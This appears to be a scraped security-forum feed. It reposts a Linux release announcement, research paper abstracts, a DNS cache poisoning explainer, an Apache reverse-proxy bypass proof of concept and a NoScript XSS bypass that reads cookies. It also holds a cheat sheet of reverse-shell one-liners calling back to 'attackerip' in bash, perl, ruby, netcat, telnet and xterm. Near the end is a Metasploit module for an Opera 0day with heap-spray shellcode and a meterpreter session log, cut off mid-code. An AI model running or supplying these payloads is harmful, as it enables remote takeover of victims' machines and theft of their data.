Nytro

Linux 3.2-rc3 - just in time for Thanksgiving From Linus Torvalds <> Date Wed, 23 Nov 2011 20:58:42 -0800 Subject Linux 3.2-rc3 - just in time for Thanksgiving Hey, since most of the US will be in a food-induced coma tomorrow, I just *know* that doing a new release candidate is a good idea. One quarter arch updates, two quarters drivers, and one quarter random changes. Shake vigorously and serve cold.. And maybe the rest of the world can try to make up for the lack of any expected US participation? Hmm? Anyway, whether you will be stuffing yourself with turkey tomorrow or not, there's a new -rc out. I'd love to say that things have been calming down, and that the number of commits just keep shrinking, but I'd be lying. -rc3 is actually bigger than -rc2, mainly due to a network update (none in -rc2) and with Greg doing his normal usb/driver-core/tty/staging thing. We also had a drm update. That said, most of the commits are pretty small and reasonable. So there's certainly more churn than I'd like, but it's not like it's a lot of big changes, there's just a fair number of small things going on. The shortlog (appended) gives a fair flavor of the details. Linus Sursa si changelog: https://lkml.org/lkml/2011/11/23/578

Reverse shells one-liners Wednesday, 14 September 2011 Inspired by the great blog post by pentestmonkey.net, I put together the following extra methods and alternatives for some methods explained in the cheat sheet. There is nothing cutting edge, however you may find this handy during your penetration tests. Citing pentestmonkey's blog post: If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll probably want an interactive shell. [...] your next step is likely to be either throwing back a reverse shell or binding a shell to a TCP port. Your options for creating a reverse shell are limited by the scripting languages installed on the target system – though you could probably upload a binary program too if you’re suitably well prepared. First of all, on your machine, set up a listener, where attackerip is your IP address and 4444 is an arbitrary TCP port unfiltered by the target's firewall: attacker$ nc -l -v attackerip 4444 Bash Alternatives for Bash shell: exec /bin/bash 0&0 2>&0 Or: 0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196 Or: exec 5<>/dev/tcp/attackerip/4444 cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; done See also Reverse Shell With Bash from GNUCITIZEN blog. Perl Shorter Perl reverse shell that does not depend on /bin/sh: perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' If the target system is running Windows use the following one-liner: perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' Ruby Longer Ruby reverse shell that does not depend on /bin/sh: ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' If the target system is running Windows use the following one-liner: ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' Netcat Others possible Netcat reverse shells, depending on the Netcat version and compilation flags: nc -c /bin/sh attackerip 4444 Or: /bin/sh | nc attackerip 4444 Or: rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/p See also 7 Linux Shells Using Built-in Tools from LaNMaSteR53 blog. Telnet Of course, you can also use Telnet as an alternative for Netcat: rm -f /tmp/p; mknod /tmp/p p && telnet attackerip 4444 0/tmp/p Or: telnet attackerip 4444 | /bin/bash | telnet attackerip 4445 # Remember to listen on your machine also on port 4445/tcp xterm Follows further details on xterm reverse shell: To catch incoming xterm, start an open X Server on your system (:1 - which listens on TCP port 6001). One way to do this is with Xnest: Xnest :1 Then remember to authorise on your system the target IP to connect to you: xterm -display 127.0.0.1:1 # Run this OUTSIDE the Xnest xhost +targetip # Run this INSIDE the spawned xterm on the open X Server Then on the target, assuming that xterm is installed, connect back to the open X Server on your system: xterm -display attackerip:1 Or: $ DISPLAY=attackerip:0 xterm It will try to connect back to you, attackerip, on TCP port 6001. Note that on Solaris xterm path is usually not within the PATH environment variable, you need to specify its filepath: /usr/openwin/bin/xterm -display attackerip:1 Posted by Bernardo at 08:58 Sursa: http://bernardodamele.blogspot.com/2011/09/reverse-shells-one-liners.html

Apache HTTP Server Reverse Proxy/Rewrite URL Validation Issue Posted by Prutha Parikh on Nov 23, 2011 11:00:43 AM Today Apache acknowledged another reverse proxy issue (CVE-2011-4317) which I discovered while creating a QualysGuard vulnerability signature for an older problem CVE-2011-3368. Depending on the reverse proxy configuration, the vulnerability could allow access to internal systems from the Internet. While reviewing the patch for the older issue CVE-2011-3368, it appeared that it was still possible to make use of a crafted request that could exploit a fully patched Apache Web Server (Apache 2.2.21 with CVE-2011-3368 patch applied) to allow access to internal systems if the reverse proxy rules are configured incorrectly. I submitted an advisory and proof of concept to Apache and Apache made the issue public today. For a good description of the older CVE-2011-3368 issue as well as how a reverse proxy works please check the excellent blog post by Context. Here is a description of the new issue CVE-2011-4317 and its proof of concept. Apache's patch for CVE-2011-3368 The patch for CVE-2011-3368 (see Figure 1) is straight forward and self explanatory. The “server/protocol.c” file was modified. The patch looks at the request being sent and returns a HTTP 400 Response (Bad Request) if the URL does not begin with a forward slash “/”. --- httpd-2.2.21/server/protocol.c +++ httpd-2.2.21/server/protocol.c @@ -640,6 +640,25 @@ ap_parse_uri(r, uri); + /* RFC 2616: + * Request-URI = "*" | absoluteURI | abs_path | authority + * + * authority is a special case for CONNECT. If the request is not + * using CONNECT, and the parsed URI does not have scheme, and + * it does not begin with '/', and it is not '*', then, fail + * and give a 400 response. */ + if (r->method_number != M_CONNECT + && !r->parsed_uri.scheme <-- A + && uri[0] != '/' + && !(uri[0] == '*' && uri[1] == '\0')) { + ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, + "invalid request-URI %s", uri); + r->args = NULL; + r->hostname = NULL; + r->status = HTTP_BAD_REQUEST; + r->uri = apr_pstrdup(r->pool, uri); + } + if (ll[0]) { r->assbackwards = 0; pro = ll; This part of the code takes care of the issue for CVE-2011-3368. However; if you carefully look at the patch, it does not process URIs that have a scheme (see Figure 1, A). So, if a malformed URL request with a scheme was constructed, it would still be possible to bypass security and gain access to systems on the internal server provided that the reverse proxy rules were incorrectly configured. Proof of Concepts Target: Fully patched Apache Web Server (Version 2.2.21) with CVE-2011-3368 patch applied, with a reverse proxy set up and incorrectly configured RewriteRule/ProxyPassMatch rules. Rewrite rules in httpd.conf: RewriteRule ^(.*) http://10.40.2.159$1 ProxyPassMatch ^(.*) http://10.40.2.159$1 Example 1: GET @localhost::<PORT> HTTP/1.0\r\n\r\n where <PORT> is any port number being requested. To demonstrate the proof of concept, Tomcat was set up to run on port 8880 on the internal server. Please note that any application could be running on any port on the internal server and a malicious user could use the PoC to request access to an application running on that port. Access to internal web server can be possible by using a crafted request like: GET @localhost::8880 HTTP/1.0\r\n\r\n The screenshot below shows that a basic query with the crafted request (see Figure 2, to the target results in access to the page at 8880 (see Figure 2, C). Upon receiving the request, Apache translates the URL by applying the rewrite rules. The "uri" extracted is ":8880" which gets appended, resulting in the URL http://10.40.2.159:8880 The "uri" extracted in this case is everything following the first occurrence of the colon ( in the request. Since the crafted request has 2 colons (:, the second colon is treated as being part of the URI. To view the URI being extracted based on the rewrite rules, “RewriteLogLevel” was set to 3 in Apache configuration file. The rewrite translation logs get written to the log file. The first step to come up with the crafted request was to review the log file by sending different requests and studying how the rewrite translation was working. In the case of Example 1, since everything following the first colon ( was being treated as the URI, a second colon was appended with a port number to see the response. The server treated the second “:” as being part of the URI and since there was an application already running on the port, it was possible to gain access to the page. Example 2: GET <random_string>:@<internalservername> HTTP/1.0\r\n\r\n where <random_string> is any string, <internalservername> is the domain of an internal server being requested. Access to internal web server can be possible by using a crafted request like: GET qualys:@qqq.qq.qualys.com HTTP/1.0\r\n\r\n The screenshot below shows that a basic query with the crafted request to an internal website (see Figure 3, D) allows access to the page remotely (see Figure 3, E). Upon receiving the request, Apache translates the URL by applying the rewrite rules. The "uri" extracted is "@qqq.qq.qualys.com" which gets appended, resulting in the URL http://10.40.2.159@qqq.qq.qualys.com The "uri" extracted in this case is everything following the first occurrence of the colon ( in the request. This is treated as <username>@<host> giving access to the internal <host> if no authentication is required. Workaround RewriteRule ^(.*) http://10.40.2.159/$1 ProxyPassMatch ^(.*) http://10.40.2.159/$1 Sursa: https://community.qualys.com/blogs/securitylabs/2011/11/23/apache-reverse-proxy-bypass-issue

NoScript 2.2 XSS Filter Bypass // NoScript 2.2 XSS Filter Bypass (fixed with 2.2.1rc1 and 2.2.1rc2 literally minutes after reporting) // URL test.php?xss=<a href="javascript%26colon;'%26percnt;3cscript%26percnt;3ealert%26lpar;document.cookie%26rpar;%26percnt; 3c/script%26percnt;3e'">CLICKME // Result <a href="javascript&colon;'&percnt;3cscript&percnt;3ealert&lpar;document.cookie&rpar;&percnt;3c/script&percnt;3e'">CLICKME // After click javascript:'<script>alert(document.cookie)</script>' // JS URI runs in context of the referrer - cookie access (and more) is possible Author: I don't know... Sursa: http://pastebin.com/raw.php?i=W1q6BciY

Am reparat. Da, e foarte detaliat si bine organizat.

Reverse Engineering of the Android File System Sven Schmitt, Michael Spreitzenbarth, Christian Zimmermann Security Research Group Dept. of Computer Science, University of Erlangen, Germany www1.informatik.uni-erlangen.de Abstract—YAFFS2 is a file system which is used in many modern smartphones. Allthough YAFFS2 is an open standard and there exists an open source implementation, the behavior of YAFFS2 is not very well understood. Additionally, several aspects like wear-leveling and garbagecollection are not well-specified in the standard so that their actual behavior has to be reverse engineered from the implementation. Here, we give an introduction to and describe the basic functionality of YAFFS2. We place a particular focus on the detailed analysis of both wearleveling and garbage-collection mechanisms, since these are important within a forensic analysis of the file system. Index Terms—smartphones; forensics; Android; YAFFS2, garbage-collection Download: http://www.opus.ub.uni-erlangen.de/opus/volltexte/2011/2833/pdf/CS_2011_06.pdf

Conturi Filelist, SMTP, RDP-uri, FTP, certificate, poze (si cu mine una ) si altele. Interesant. Pacat ca "udp.pl", asta e trist...

Vezi Selenity CMS, tot in aceasta categorie. Pe asta nici nu stiu daca il mai am.

Ban permanent.

Am pus o mica descriere la tutorial, am editat postul.

Oricum e util, nu m-as fi gandit la asta desi e banal. Thanks.

Eu va recomand asta: http://www.googleguide.com/advanced_operators.html Si asta: http://www.exploit-db.com/google-dorks/

BlackHat USA 2010: Bursztein - Bad Memories 1 Introduction 2 Breaking into a WPA network with a Webpage 2.1 Dealing with Browser Behavior 2.2 Finding the router 2.3 Fingerprinting the router 2.4 Login to the router 2.5 Stealing WIFI information 2.6 Geolocalization 3 Defeating HTTPS via cache injection 3.1 How cache injection works 3.2 Why cache injection are dangerous 3.3 Exploiting Browser UI Inconsistency 4 Attacking Facebook with Frame leak attack 18 5 Phone TapJacking 20 5.1 TapJacking Safari on Iphone 5.2 Other mobile browsers 6 Related Work 7 Conclusion Bad memories summarize our latest research results on offensive web technologies. The Security Lab is a part of the Computer Science Department at Stanford University. Research projects in the group focus on various aspects of network and computer security. While secure communication protocols have received a lot of attention and have been widely deployed over the last few years, the way their sensitive data is stored remains a weak link in practice. The purpose of this paper is to raise awareness of this fact and demonstrate that attackers can make such secure communication protocols irrelevant by targeting the data storage mechanism. In this paper, we demonstrate the weakness of current storage mechanisms by showing the following attacks: first, we show how an attacker can remotely locate and break into a Wifi network by crafting a malicious web page that targets its access point. Secondly, we demonstrate how an attacker can inject a malicious library that is capable of compromising subsequent SSL sessions by leveraging the fact that websites trust external javascript libraries, such as Google Analytics. We then describe how to easily fool the user into accepting this malicious javascript library by exploiting browser UI corner cases. Next, we introduce frame leak attacks that are capable of extracting private information from the website (and not from the user) by leveraging the recent scrolling technique of Stone. Our frame leak attacks defeat click-jacking defenses that have previously been considered secure. In addition, we illustrate how a frame leak attack works by demonstrating how to use it to extract Facebook profile information, bypassing Facebook’s framebusting defenses in the process. Finally, we develop a new attack called tap-jacking that uses features of mobile browsers to implement a strong clickjacking attack on phones. We show that tap-jacking on a phone is more powerful than traditional clickjacking attacks on desktop browsers, and thus imply smartphones should not be considered a secure form of data storage. Download: https://media.blackhat.com/bh-us-10/whitepapers/Bursztein_Gourdin_Rydstedt/BlackHat-USA-2010-Bursztein-Bad-Memories-wp.pdf

XCS: Cross Channel Scripting and its Impact on Web Applications Hristo Bojinov Stanford University hristo @ cs.stanford.edu Elie Bursztein Stanford University elie @ cs.stanford.edu Dan Boneh Stanford University dabo @ cs.stanford.edu ABSTRACT We study the security of embedded web servers used in con- sumer electronic devices, such as security cameras and photo frames, and for IT infrastructure, such as wireless access points and lights-out management systems. All the devices we examine turn out to be vulnerable to a variety of web attacks, including cross site scripting (XSS) and cross site request forgery (CSRF). In addition, we show that consumer electronics are particularly vulnerable to a nasty form of persistent XSS where a non-web channel such as NFS or SNMP is used to inject a malicious script. This script is later used to attack an unsuspecting user who connects to the device's web server. We refer to web attacks which are mounted through a non-web channel as cross channel script- ing (XCS). We propose a client-side defense against certain XCS which we implement as a browser extension. 1. INTRODUCTION Current consumer electronic devices often ship with an embedded web server used for system management. The benets of providing a web-based user interface are twofold: rst, the user does not need to learn a complicated command- line language, and second, the vendor does not need to ship client-side software. Instead the user interacts with the de- vice through a familiar browser UI. While this is a cost-eective and convenient solution, it can introduce considerable security risk due to the large number of potential vulnerabilities in a weak web applica- tion. Moreover, securing Web applications on a consumer electronics device can be difficult due to the large number of supported network protocols and the interactions between them. For example a user might upload a le to a network storage device by using the SMB protocol, manage its per- missions through the web interface, and eventually share it with his friends through FTP. In this complex environment, it is not surprising that many embedded devices are vulnerable to web attacks. In fact, all the 23 devices we evaluated [3] were vulnerable to several types of Web attacks, including cross site scripting (XSS) [6], cross site request forgeries (CSRF) [30, 2], and many others. Recall that in a type 1 (reected) cross site scripting at- tack, the user follows a malicious link to a victim site. A vulnerability in the site causes an attack script to be embed- ded into the resulting HTTP response. This script can then take over the page and perform arbitrary actions on behalf of the attacker. A type 2 XSS, called persistent XSS, en- ables the attacker to inject a malicious script into persistent storage at the victim site. When an unsuspecting user views a page that contains the script, the script can take over the page. For example, type 2 XSS can aect message boards; an attacker can post a message containing a script that is later executed by the browser of every user that happens to view the attacker's post. A recent example of such an attack is the XSS Twitter worm that struck in the middle of April 2009 [31]. Cross Channel Scripting attack. Many of the embedded devices we examined were vulnerable to a type of persistent XSS that we call cross channel scripting (XCS). In an XCS attack a non-web channel, such as SNMP or FTP, is used to inject a persistent XSS exploit which is activated when the user connects to the web interface. For exam- ple, several NAS devices we examined allow an attacker to upload a le with an almost arbitrary lename via SMB. The attacker takes advantage of this lack of restrictions and crafts a lename that contains a malicious script. When the NAS administrator views the NAS contents through the web interface, the device happily sends an HTTP response to the admin's browser containing a list of le names including the malicious lename, which is then interpreted as a script by the browser. The script executes on the admin's browser giv- ing the attacker full control of the admin session. In Sec. 3 we present the most interesting XCS attacks we discovered. We also founded a related class of attacks in which a web vulnerability is used to attack a non-web channel. We refer to this as a reverse XCS vulnerability. We give examples in Section 4. XCS and reverse XCS are more likely to aect embedded devices than traditional web sites because these devices of- ten provide a number of services (e.g. web, SNMP, NFS, P2P) which are cobbled together from generic components. The interaction between the components may not be com- pletely analyzed, leading to an XCS vulnerability. In con- trast, many Internet web sites only provide a web interface and hence are less likely to be aected by XCS. Interestingly, large web sites such as Facebook and Twitter, provide non- web cloud APIs for third party applications which present XCS opportunities, as discussed in Section 5. Detecting an XCS or reverse XCS vulnerability can be dif- cult because these attacks abuse the interaction between the web interface and an alternate communication chan- nel. Simply inspecting the web application code and the other service code is not enough to detect the vulnerability. The web application and the other service, such as an FTP server, can be completely secure in isolation and become vulnerable only when used in conjunction. Download: citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.149.9782&rep=rep1&type=pdf&rct=j&q=XCS%20paper&ei=RY_UTM2XIZC2sAOOxM2NCw&usg=AFQjCNFIjZGE0NFLqFsbij713Ii3dRYv-Q&sig2=xEE5GtB7lZOH-zNQ6VND-Q&cad=rja Mirror: http://www.multiupload.com/49EW25WAJV

DNS Cache Poisoning November 21st, 2011|By: deepanker DNS cache poisoning is a security compromise in which an attacker changes the resolver cache database entries of a DNS with some false information. The DNS server will then infect the user’s local resolver cache database with false information changed by the attacker. These lines may be difficult or little bit confusing to you, if you are not aware of DNS and Caching. Therefore, you have to know first, what is DNS and DNS cache? How DNS and DNS cache works? DNS or Domain Name Server and its working: Every website on the internet has a unique IP address which is the address of the website on the large network of computers. In earlier days of internet, Users can only access website with the help of IP addresses. So, they had to know the IP address of websites they wanted to access. But now internet has millions of websites and it’s sure you cannot remember IP address of websites. So, domain name is the solution of this problem. Each website has given a domain name and the DNS translates your request into the IP. Domain name sever is the computer server which has a database to store the domain name and its IP address. When you type a website address in address bar of the browser, it sends a request to DNS for the IP address of the website. DNS replies with the IP address and then our browser navigate us to the website. Figure 1: How DNS server works DNS Cache: As we know the DNS translates the domain name to its corresponding IP address and this translation takes only few seconds on server ends. But the number of requests on the DNS is too high as there are millions of DNS queries processing on DNS which can results slow communication between DNS and other computers. So, to resolve the problem of speed and to speed up this whole process, cache is used. The cache stores recent DNS queries result on local computers. This reduces number of repetitive queries to remote DNS. This local cache is known as resolver cache and serves requests much faster than original DNS serving and this local resolver cache also reduce loads on DNS. Therefore, each time when a computer requests for the IP address of a domain name, its local resolver DNS cache is searched first for the result. If the record is found in local resolver cache, computer has no need to communicate with DNS server otherwise request is sent to the DNS. Figure 2: How recent query requests are looked in Cache first How it works: The whole process of sending request and getting response can be divided into following steps: Step 1: When a user request for a website via web browser, the resolver checks the local resolver cache in the system’s memory to see if it contains the IP address entry for the domain. The entry would be there if it has been requested for the same since the last time it was powered on, and the Time to live has not been exceeded. Time to live attribute on cache record is used to expire the entry after some time. Suppose that the entry is found in local resolver cache, now it replies with the IP address. Step 2: If no entry has been found, the resolver sends a query to the internal DNS server for the IP. Step 3: When the DNS server receives the query, it first checks if it has entry for the domain which is requested. If it has, the server performs a lookup in its internal zone table. Suppose it gets in its record. Step 4: The IP address of the domain is returned to the system’s resolver. Step 5: The resolved domain name and IP address are placed into the resolver cache. The IP address is used to contact the website. When a request packet is sent to the DNS, it contains the domain name and a unique transaction ID. This unique transaction ID is the only part of data which is used to authenticate the valid source. When a system gets the response from the DNS, it checks for IP address, port number and unique transaction ID. If these are the same as it was expecting, the response it taken as authenticated. But on the internet, packets can be easily be spoofed and data values can be changed. How to see the client resolver cache of system: In windows follow these steps to see the local client resolver cache information stored on system Step 1: Go to start and run. Step 2: Type CMD and press Enter. It will open Command Prompt (one can also open command prompt by start All Programs > Accessories > Command Prompt) Step 3: Type ipconfig /displaydns (Ex: c:/> ipconfig /displaydns) It will give you a list of Windows IP configuration which includes entries preloaded from the local Hosts file, as well as any recently obtained resource records for name queries resolved by the system. These are the information which is used to resolve frequently queried names before sending queries DNS servers. DNS cache poisoning Attack: DNS cache poisoning attack is the practice of changing or adding false records in the resolver caches, so that a DNS query for a domain returns an IP added by attacker other than the original IP address of the website. This attack can be performed either on the client or the server. Most successful attack adds false records on the resolver cache of both (client and server). Suppose a computer system sends a request to DNS to get the IP address of a website www.abc.com. But an attacker has managed to know the transaction ID of the request and respond with a spoofed packet with the same transaction ID but false IP address before the DNS response. In this case, firstly system will get the response of attacker. So the system will redirect to a false IP other than the original IP address of the website www.abc.com. Figure 3: Attacker’s response before DNS Now see how this attack is performed in real time: Step 1: The resolver checks the resolver cache in the system’s memory to see the entry for the domain www.abc.com. Step 2: If there is no entry in resolver cache, the resolver sends a request to the DNS server. Step 3: When the DNS server receives the request, it first checks to see if it’s authoritative (because a DNS for .in domains cannot server for the request made for .com domain). If it is not authoritative for www.abc.com, it will look for its local cache for the entry of www.abc.com exists. If it does not then it will send the request to another DNS for the IP of the domain. Step 4: Suppose an attacker wants to poison the internal cache of DNS, he will try to get the transaction ID. Once he gets the transaction ID, he can respond to the DNS query from his fake DNS server with a rogue IP. Most of the attackers use DDOS attack on authoritative servers. While the authoritative server struggles to deal with the attack, the attacker’s DNS server has time to determine the transaction ID. After getting the transaction ID, attacker can respond to the DNS with a rogue IP for www.abc.com. Step 5: The rogue IP address for abc.com is added to DNS cache and returned to the requesting system too. Step 6: At the system this rogue IP is added to the resolver cache and system’s browser is navigated to the IP address, sent by the attacker. In The above example, attacker used DDOS attack on authoritative server to respond on behalf of it. But attacker can also use other methods to perform this attack. Attacker will send a query request to DNS about a domain which is controlled by attacker. The nameservers of the attacker’s domain will reply to DNS query about the domain name requested along with the additional information about the domain (suppose www.abc.com) for which attacker want to poison the cache. If the DNS is vulnerable to the caching extra information sent in a query response, attacker would be able to poison the cache of DNS with rogue IP address. This will again poison client’s systems cache who will request for this domain (www.abc.com). This attack is simpler than I have explained in the above steps where attacker used DDOS. There are so many other ways and you can also think how you can fool a DNS by studying how it implements security. Then you can try to break the security mechanisms. Why attacker uses DNS cache poisoning to send a user to rogue ip address: Once the system’s and Domain Name server’s cache is poisoned with a rogue IP address, the user will redirect to a wrong website. In the examples I have shown above, the system’s cache is poisoned for www.abc.com. So user will not be able to access the original website. Now attacker can do following things with this attack. Phishing attack: User will create a fake website which will be identical to www.abc.com. When user will try to access www.abc.com , he will be sent to fake website hosted by attacker. Suppose the website is a bank website, attacker can easily get the login information of users. If the cache of DNS is poisoned, all the users connoting to the DNS will be sent to the fake phishing website. Man in the middle attack: This attack is also useful in performing MIM (Man in the Middle) attack. When a system initiates a session with the attacker’s server, attacker’s server can initiate a session with original website. In this way all the information passed from the system to original website will be visible to attacker. Malware distribution: Many times, this attack is used to distribute malware to users. Malware is uploaded to the fake website and will be downloaded to all the visitors. This is the best way to distribute malware. Attacker can distribute his malware in bulk. In classical way of malware uploading and waiting for a victim to come and download is not effective. It also takes too much time. How to prevent this attack This attack is mostly done while a DNS request to other DNS. So this attack can be prevented on DNS by less trusting on information sent by other DNS servers. The most basic defense against this attack is use of latest version of DNS. Latest DNS uses port randomization with transaction ID so it’s hard for attacker to guess for the port. DNS based on BIND 9.5.0 or above perform these checks. Transaction ID is also cryptographically secure which reduce the probability of attack. But BIND version must be hidden within the query packets Remove unnecessary services running on the DNS servers. Attackers can use these unnecessary services to attack on DNS. Recursive queries should be limited and DNS should only store information about the domain it has requested. It must be configured not to add additional domains information in a query response. Most of the DNS servers are vulnerable to this attack. DNSSEC: DNSSEC (Domain Name System Security Extension) is developed by Internet Engineering Task Force (IETF) which is an extension to DNS to provide a secure authentication of DNS data. It is designed to protect resolvers from DNS forging. This suit is mainly designed to prevent DNS cache poisoning. But DNSSEC does not provide confidentiality of data so DNSSEC responses are authenticated not encrypted. Conclusion: DNS cache poisoning is a large risk for all those organizations which are still using older version of DNS. In recent mass bank account hacking cyber crimes, attackers use DNS cache poisoning to redirect bank users to their phishing website. Every year, this attack causes million dollar loss to bank users. So careful use of latest DNS and DNSSEC can prevent this attack and help in creating secure internet. DNS server must be configured properly. This is the main cause of unsecure DNS servers. Sursa: http://resources.infosecinstitute.com/dns-cache-poisoning/

Exploit for Opera Browser 10/11/12 (SVG layout) Memory Corruption (0day) ############################################################################################################### # Exploit for Opera Browser 10/11/12 (SVG layout) Memory Corruption (0day) # # Vulnerability: # # Discovered: 2010-10-13 # Patched: 0day # Tested on: v10.xx (v10.50, v10.51, v10.52, v10.53, v10.54, v10.6, v10.61, v10.62 and v10.63) # v11.xx (v11.00, v11.01, v11.10, v11.11, v11.50 and v11.51) # # Exploit: # # Coded: 2010-10-14 # Last revision: 2011-10-08 # # This exploit was modified with a new poc and triggering method, to hit Opera Next. The first copy was coded for v10.5x/v10.6x. # # RCE on: v11.00, v11.01, v11.10, v11.11, v11.50, v11.51 and v12.00 pre-alpha r1076 (Opera Next) # # Notes: # # 1) DEP bypass: possible but unreliable. # 2) Let me know if you improve this one # 3) Two days ago, Opera Next was updated to 12.00 pre-alpha r1085 # and this exploit is less reliable, even sometimes never gets crashed. # Anyway, I've also seen remote code execution. # # # Credits: Jose A. Vazquez of http://spa-s3c.blogspot.com # # Greets to: Ruben, Sinn3r, Metasploit Team, Corelan Team, EnRed20.org, etc # # # Running against Opera v12.00 pre-alpha r1076... # # # # =[ metasploit v4.0.1-dev [core:4.0 api:1.0] # + -- --=[ 742 exploits - 378 auxiliary - 83 post # + -- --=[ 228 payloads - 27 encoders - 8 nops # =[ svn r13810 updated today (2011.10.06) # # msf > use windows/browser/opera_svg_0day # msf exploit(opera_svg_0day) > set payload windows/meterpreter/reverse_tcp # payload => windows/meterpreter/reverse_tcp # msf exploit(opera_svg_0day) > set LHOST 192.168.1.103 # LHOST => 192.168.1.103 # msf exploit(opera_svg_0day) > exploit # [*] Exploit running as background job. # msf exploit(opera_svg_0day) > # [*] Started reverse handler on 192.168.1.103:4444 # [*] Using URL: http://0.0.0.0:8080/dpIDdyCpEoqCa5 # [*] Local IP: http://192.168.1.103:8080/dpIDdyCpEoqCa5 # [*] Server started. # [*] Sending Opera Browser 10/11/12 (SVG layout) Memory Corruption to 192.168.1.104:1233 (Method: usual / Target: Opera Browser (v11.xx - v12.00pre-alpha) / Windows XP SP3 (DEP-off)) # [*] Sending stage 1 (Spraying the heap) # [*] Sending stage 2 (Triggering the vulnerability) # [*] Sending Opera Browser 10/11/12 (SVG layout) Memory Corruption to 192.168.1.104:1233 (Method: usual / Target: Opera Browser (v11.xx - v12.00pre-alpha) / Windows XP SP3 (DEP-off)) # [*] Sending stage (752128 bytes) to 192.168.1.104 # [*] Sending stage 1 (Spraying the heap) # [*] Meterpreter session 2 opened (192.168.1.103:4444 -> 192.168.1.104:1234) at 2011-10-08 22:32:31 +0200 # Interrupt: use the 'exit' command to quit # msf exploit(opera_svg_0day) > sessions # # Active sessions # =============== # # Id Type Information Connection # -- ---- ----------- ---------- # 1 meterpreter x86/win32 0XDE1-A39ED4C12\0xde1 @ 0XDE1-A39ED4C12 192.168.1.103:4444 -> 192.168.1.104:1234 # # msf exploit(opera_svg_0day) > sessions -i 1 # [*] Starting interaction with 1... # # meterpreter > execute -f calc.exe # Process 1752 created. # meterpreter > exit # [*] Shutting down Meterpreter... # # [*] Meterpreter session 1 closed. Reason: User exit # msf exploit(opera_svg_0day) > # ################################################################################################################ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Opera Browser 10/11/12 (SVG layout) Memory Corruption', 'Description' => %q{ This module exploits a vulnerability in the bad nesting with SVG tags. Successfully exploiting leads to remote code execution or denial of service condition under Windows XP SP3 (DEP = off). Best results of reliability using Opera v12.00 pre-alpha r1076 whereas that v11.xx will have less success (depending of opera.dll version). This module won't work against v10.xx because it was modified to exploit Opera upper to v11. Read the lastest references for further details. }, 'License' => MSF_LICENSE, 'Author' => [ 'Jose A. Vazquez' ], 'Version' => '$Revision: 0011 $', 'References' => [ ['URL', 'http://www.beyondsecurity.com/ssd.html'], ['URL', 'http://spa-s3c.blogspot.com/2011/10/spas3c-sv-006opera-browser-101112-0-day.html'], # English ['URL', 'http://enred20.org/node/27'] # Spanish ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'HTTP::compression' => 'gzip', 'HTTP::chunked' => true }, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00", 'Compat' => { 'ConnectionType' => '-find', }, 'StackAdjustment' => -3500 }, 'Platform' => 'win', 'Targets' => [ # spray of ~ 450 MB. [ 'Opera Browser (v11.xx - v12.00pre-alpha) / Windows XP SP3 (DEP-off)', { 'Method' => 'usual', 'MaxOffset' => nil, 'MaxSize' => nil, 'MaxBlocks' => 900, 'Ret' => 0x0c0c0c0c } ], # Thanks to sinn3r of metasploit.com for this method. [ 'Opera Browser (v11.xx) / Windows XP SP3 (DEP-off)', { 'Method' => 'precise-allocation-size', 'MaxOffset' => 0x800, 'MaxSize' => 0x80000, 'MaxBlocks' => 0x500, 'Ret' => 0x0c0c0c0c } ] ], 'DisclosureDate' => '0day', 'DefaultTarget' => 0)) #Apply obfuscation by default register_options( [ OptBool.new('OBFUSCATE', [false, 'JavaScript obfuscation', true]) ], self.class) end def on_request_uri(cli, request) mytarget = target if(request.uri =~ /\.xhtml$/) #Send file for trigger the vulnerability html = %Q| <html xmlns="http://www.w3.org/1999/xhtml" xmlns:svt="http://www.w3.org/2000/svg"> <head> <meta http-equiv="refresh" content="0;url=" /> </head> <select1 style = 'padding-bottom: 8711px;background-image: url("HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH");' > <svt:svg> <svt:title style = 'pointer-events: visiblePainted;font: normal small-caps 120%/120% fantasy;' > <svt:svg> <svt:font> <svt:animateMotion> feFuncR </svt:animateMotion> </svt:font> </svt:svg> </svt:title> </svt:svg> </select1> </html> | #Send triggerer print_status("Sending stage 2 (Triggering the vulnerability)") var_contentype = 'application/xhtml+xml' else #Sending init HTML print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport} (Method: #{mytarget['Method']} / Target: #{mytarget.name})") return if ((p = regenerate_payload(cli)) == nil) shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(mytarget.arch)) addr_word = [mytarget.ret].pack('V').unpack('H*')[0][0,4] var_timer_trigger = (rand(3) + 2) * 1000 var_file_trigger = rand_text_alpha(rand(30)+2) #Build the exploit var_url = ((datastore['SSL']) ? "https://" : "http://") var_url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']) var_url << ":" + datastore['SRVPORT'] var_url << get_resource #Choose the heap spray method if(mytarget['Method'] == 'usual') spray_js = <<-JS var shell = unescape("#{shellcode}"); var size = shell.length * 2; var nopsize = 0x100000 - (size + 0x14); var nopsled = unescape("%u#{addr_word}"); while(nopsled.length * 2 < nopsize) { nopsled += nopsled; } var blocks = new Array(); for (var x = 0; x < #{mytarget['MaxBlocks']}; x++) { blocks[x] = nopsled + shell; } function TriggerVuln(){ document.write("<iframe 